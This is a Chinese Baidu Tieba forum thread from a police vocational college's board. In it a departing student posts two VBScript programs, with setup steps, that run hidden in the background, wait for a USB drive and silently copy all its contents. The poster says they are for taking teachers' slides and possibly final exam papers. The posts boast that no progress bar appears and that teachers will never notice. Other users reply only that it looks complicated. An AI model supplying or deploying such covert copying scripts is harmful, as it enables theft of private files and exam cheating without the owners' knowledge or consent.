网页资讯视频图片知道文库贴吧地图采购
进入贴吧全吧搜索

 
 
 
日一二三四五六
       
       
       
       
       
       

签到排名:今日本吧第个签到,

本吧因你更精彩,明天继续来努力!

本吧签到人数:0

一键签到
成为超级会员,使用一键签到
一键签到
本月漏签0次!
0
成为超级会员,赠送8张补签卡
如何使用?
点击日历上漏签日期,即可进行补签。
连续签到:天  累计签到:天
0
超级会员单次开通12个月以上,赠送连续签到卡3张
使用连续签到卡
06月06日漏签0天
安徽警官职业学院吧 关注:70,473贴子:2,175,596
  • 看贴

  • 图片

  • 吧主推荐

  • 视频

  • 游戏

  • 13回复贴,共1页
<<返回安徽警官职...吧
>0< 加载中...

学长走了。给你留下点有用的东西。。

  • 只看楼主
  • 收藏

  • 回复
  • 壹0贰肆
  • 知名人士
    11
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
U盘插入自动复制,有效对付那些不肯给PPT的老师,还有一定几率拿到期末考试卷子···有图有真相!业界良心的好东西!!现在看还来得及!!!
代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行。


  • 壹0贰肆
  • 知名人士
    11
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样


2025-06-06 03:36:49
广告
  • 壹0贰肆
  • 知名人士
    11
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
把下面的代码复制进去
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("U盘的盘符") then
fso.copyfile "U盘的盘符加*号","要复制到的目录"
fso.copyfolder "U盘的盘符加*号","要复制到的目录"
wscript.sleep 20000
end if
loop


  • 壹0贰肆
  • 知名人士
    11
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

注意标颜色的地方要自己改
蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\USB\代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在。
红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*,
第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。


  • 壹0贰肆
  • 知名人士
    11
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。



  • 壹0贰肆
  • 知名人士
    11
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了
要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。
另外我不是计算机专业的,这个东西目前对插N个U盘只会复制第一个,对插移动硬盘会全部复制···


  • 壹0贰肆
  • 知名人士
    11
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
复制下面的所有东西到一个文本文件,改名为XX.VBS 使用即可
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
dim USB, file, folder, files
USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F")
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:\","请输入复制到的文件夹","C:\USB")
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL")
USB=USB & ":\"
folder=folder & "\"
if files="ALL"then
file=USB & "*"
else
file=USB & "*." & files
end if
if FSO.FolderExists(folder) then
else
FSO.CreateFolder(folder)
end if
on error resume next
do
wscript.sleep 1000
if fso.driveexists(USB) then
fso.copyfile file,folder
fso.copyfolder file,folder
wscript.sleep 20000
end if
loop
这样就完成了。那个不行就试试这个。。。


  • 左小瓜子
  • 人气楷模
    13
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
这么复杂


2025-06-06 03:30:49
广告
  • Super夜尘
  • 意见领袖
    14
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
楼主。好人一生平安


  • 安警小灵通
  • 铁杆吧友
    9
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
太麻烦


  • 喽啰cL
  • 意见领袖
    15
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
好复杂


  • 祭奠你给的未来
  • 意见领袖
    14
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
学长 这个好复杂呀


登录百度账号

扫二维码下载贴吧客户端

下载贴吧APP
看高清直播、视频!
  • 贴吧页面意见反馈
  • 违规贴吧举报反馈通道
  • 贴吧违规信息处理公示
  • 13回复贴,共1页
<<返回安徽警官职...吧
分享到:
©2025 Baidu贴吧协议|隐私政策|吧主制度|意见反馈|网络谣言警示